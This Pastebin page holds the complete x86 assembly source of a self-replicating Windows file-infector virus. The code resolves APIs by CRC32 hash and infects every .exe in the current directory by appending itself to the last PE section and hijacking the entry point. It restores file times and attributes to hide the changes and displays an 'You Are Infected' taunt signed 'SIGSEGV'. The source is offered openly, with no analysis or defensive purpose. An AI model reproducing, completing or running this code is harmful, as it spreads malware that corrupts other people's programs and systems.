Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [BITS 32]
- %include "win32n.inc"
- virStart:
- pushad
- call CodeStart
- CodeStart:
- pop ebp
- sub ebp,CodeStart
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; Retrieve Kernel base ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- mov ebx, [fs : 0x30] ; get a pointer to the PEB
- mov ebx, [ebx + 0x0C] ; get PEB->Ldr
- mov ebx, [ebx + 0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink (1st entry)
- mov ebx, [ebx] ; 2nd Entry
- mov ebx, [ebx] ; 3rd Entry
- mov ebx, [ebx + 0x10] ; Get Kernel32 Base
- mov [ebp+dwKernelBase] , ebx
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; Retrieve function addresses ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- sub esp , 68 ;save function addresses on the stack
- mov ebx , esp
- lea edi,[ebp+Kernel_APIs]
- mov ecx,16
- mov edx,[ebp+dwKernelBase]
- push ebp
- mov ebp , ebx
- call RetrieveAPIs
- pop ebp
- lea edx,[ebp+szUser32]
- push edx
- call [ebx+36]
- mov edx,eax
- lea edi,[ebp+User_APIs]
- xor ecx,ecx
- inc ecx
- push ebp
- lea ebp , [ebx+64]
- call RetrieveAPIs
- pop ebp
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; Infection routine : Infect all files in the current directory ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- infectFirstFile:
- sub esp,324
- push esp
- lea edx,[ebp+szExe]
- push edx
- call [ebx+16]
- inc eax
- jz endInfection
- dec eax
- mov dword [esp+320] , eax ;save search handle
- infectNextFile:
- call infectFile
- push esp
- push dword [esp+324]
- call [ebx+20]
- test eax,eax
- jnz infectNextFile
- endInfection:
- add esp,324
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; Main Payload ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- push 0x10
- lea edx,[ebp+szTitle]
- push edx
- lea edx,[ebp+szMsg]
- push edx
- push 0
- call [ebx+64]
- cmp dword [ebp+backToHost+1] , 'SiGs' ;first generation ?
- jne returnToHost
- push 0
- call [ebx+12]
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; Return to host ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- returnToHost:
- add esp , 68
- popad
- backToHost:
- push 'SiGs'
- retn
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; infectFile routine ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- infectFile:
- sub esp,48
- push ebp
- lea ebp,[esp+4]
- mov edx , dword [ebp+52+WIN32_FIND_DATA.nFileSizeLow]
- mov [ebp+0] , edx
- mov [ebp+44] , edx
- add dword [ebp+0] , virSize+1000h ;fileSize+virSize+extra work space
- lea esi , [ebp+52+WIN32_FIND_DATA.cFileName]
- push esi
- call [ebx+28] ;save original attributes
- mov [ebp+4] , eax
- push dword 0x80
- push esi
- call [ebx+48] ;set to normal , ie clear all attributes
- xor edi,edi
- push edi
- push edi
- push 3
- push edi
- push edi
- push 0xC0000000
- push esi
- call [ebx+4]
- inc eax
- jz done
- dec eax
- mov dword [ebp+8] , eax
- lea edx , [ebp+12]
- push edx
- add edx,8
- push edx
- add edx,8
- push edx
- push eax
- call [ebx+32]
- push edi
- push dword [ebp+0]
- push edi
- push 4
- push edi
- push dword [ebp+8]
- call [ebx+8]
- mov [ebp+36] , eax
- push dword [ebp]
- push edi
- push edi
- push 2
- push dword [ebp+36]
- call [ebx+40]
- mov esi,eax
- mov edi,eax
- mov [ebp+40] , eax
- cmp word [esi] , 'MZ'
- jne UnMap
- cmp byte [esi+50h] , 't' ;already infected ?
- je UnMap
- mov byte [esi+50h] , 't' ;marked
- add esi , [esi+0x3C]
- cmp word [esi] , 'PE'
- jne UnMap
- mov ecx , esi ;ecx points to start of pe header
- movzx edx , word [esi+6] ;no. of sections
- dec edx
- imul edx , 0x28
- add esi , 0xF8
- add esi , edx ;esi points to header of the last section
- add edi , [esi+14h]
- add edi , [esi+8] ;start copying virus at offset : map + pointerToRawData + virtualSize
- or dword [esi+0x24] , 00000020h | 20000000h | 80000000h | 80h ;set flags (writable , executable , etc)
- add dword [esi+8] , virSize ;increase virtual size
- mov edx , dword [esi+8]
- mov dword [ecx+50h] , edx
- mov edx , [esi+0xC]
- add dword [ecx+50h] , edx
- mov eax , dword [ecx+50h]
- xor edx , edx
- div dword [ecx+38h]
- mov eax , [ecx+38h]
- sub eax , edx
- add dword [ecx+50h] , eax ;new aligned SizeOfImage
- xor edx,edx
- mov eax , dword [esi+8]
- div dword [ecx+3Ch]
- mov eax , dword [ecx+3Ch]
- sub eax , edx
- push ecx
- mov ecx, dword [esi+8]
- mov dword [esi+10h] , ecx
- add dword [esi+10h] , eax ;new aligned SizeOfRawData
- mov ecx , dword [esi+10h]
- mov dword [ebp+44] , ecx ;save new file size for later call to SetFilePointer
- mov ecx , dword [esi+14h]
- add dword [ebp+44] , ecx
- pop ecx
- mov eax , dword [esi+0xC]
- add eax , dword [esi+8]
- mov edx , dword [ecx+28h] ;save OEP
- add edx , dword [ecx+34h] ;Add Image base to OEP
- sub eax , virSize
- mov dword [ecx+28h] , eax ;set new entry point
- mov esi , virStart
- add esi , dword [esp]
- mov ecx , virSize
- cld
- rep movsb ;copy virus
- sub edi , virSize-(backToHost-virStart)-1
- mov dword [edi] , edx ;patch OEP
- UnMap:
- push dword [ebp+44]
- push dword [ebp+40]
- call [ebx+24] ;FlushViewOfFile
- push dword [ebp+40]
- call [ebx+60] ;UnMapViewOfFile
- push dword [ebp+36]
- call [ebx] ;Close Map Handle
- lea edx , [ebp+12]
- push edx
- add edx,8
- push edx
- add edx,8
- push edx
- push dword [ebp+8]
- call [ebx+56] ;Restore original file time
- push 0
- push 0
- push dword [ebp+44]
- push dword [ebp+8]
- call [ebx+52] ;SetFilePointer
- push dword [ebp+8]
- call [ebx+44] ;SetEndOfFile
- push dword [ebp+8]
- call [ebx] ;Close File Handle
- done:
- push dword [ebp+4]
- lea edx , [ebp+52+WIN32_FIND_DATA.cFileName]
- push edx
- call [ebx+48] ;Restore original attributes
- pop ebp
- add esp,48
- ret
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; RetrieveAPIs ;
- ; Parameters : DLL base in edx , CRCs Offset in edi , No.of APIs in ecx , Offset to store at in ebp ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- RetrieveAPIs:
- push ebx
- push esi
- mov esi, edx
- add esi, [esi+0x3C] ; Start of PE header
- mov esi, [esi+0x78] ; RVA of export dir
- add esi, edx ; VA of export dir
- push esi ; [esp] = VA of export dir
- mov esi, [esi+0x20] ; RVA of ENT
- add esi, edx ; VA of ENT
- xor ebx,ebx
- cld
- looper:
- inc ebx
- lodsd
- add eax , edx ;eax now points to the string of a function
- call GenerateCRC ;eax now holds the hash of our function
- cmp dword [edi] , eax
- jne looper
- mov eax,[esp]
- mov eax,[eax+0x24] ;RVA of EOT
- add eax,edx ;VA of EOT
- movzx eax , word [(ebx-1)*2+eax] ;eax now holds the ordinal of our function
- push esi
- mov esi,[esp+4]
- mov esi,[esi+0x1C] ;RVA of EAT
- add esi,edx ;VA of EAT
- mov esi,[eax*4+esi]
- add esi,edx
- mov [ebp] , esi ;save address
- pop esi
- add edi,4
- add ebp,4
- dec ecx
- jnz looper
- pop esi
- finished:
- pop esi
- pop ebx
- ret
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; GenerateCRC ;
- ; String in eax , returns Crc in eax ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- GenerateCRC:
- push ebx ;ebx is the remainder , ie. the checksum.
- push ecx ;counter
- or ebx,-1
- byteByByte:
- xor bl , byte [eax]
- push 8
- pop ecx
- bitByBit:
- shr ebx,1
- jnc skip
- xor ebx,0xEDB88320 ;our polynomial
- skip:
- loop bitByBit
- inc eax
- cmp byte [eax],0
- jnz byteByByte
- mov eax,ebx
- pop ecx
- pop ebx
- ret
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ; Data ;
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- szTitle: db "Oheii User :>",0
- szMsg: db "~ You Are Infected ~",10,"~ RIP Ultras Ahlawy Martyrs ~",10,"~ Keep Safe ~",10,"~ GreeTz From SIGSEGV ~",0
- szUser32: db "User32.dll",0
- dwSearchHandle: dd 0
- szExe: db "*.exe",0
- dwKernelBase: dd 0
- dwExportDirectory: dd 0
- virSize equ virEnd-virStart
- ;;;;;;;;;;;;;;;;;;;;;
- ; APIS ;
- ;;;;;;;;;;;;;;;;;;;;;
- Kernel_APIs:
- ACloseHandleA: dd 0x4F6CEA0B
- ACreateFileAA: dd 0xAAC4A387
- ACreateFileMappingAA: dd 0x4BE46D93
- AExitProcessA: dd 0xDAEF6833
- AFindFirstFileAA: dd 0x36142A31
- AFindNextFileAA: dd 0x8AD8D6B7
- AFlushViewOfFileA: dd 0x68865B91
- AGetFileAttributesAA: dd 0xCF9FE3E3
- AGetFileTimeA: dd 0xC05002B5
- ALoadLibraryAA: dd 0xC03E4272
- AMapViewOfFileA: dd 0x5764C7D0
- ASetEndOfFileA: dd 0xDAE64EA5
- ASetFileAttributesAA: dd 0xEA9468FD
- ASetFilePointerA: dd 0x1038158B
- ASetFileTimeA: dd 0xDE7FB5FC
- AUnmapViewOfFileA: dd 0xC6E54950
- User_APIs:
- AMessageBoxAA: dd 0xA8D2A271
- virEnd:
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement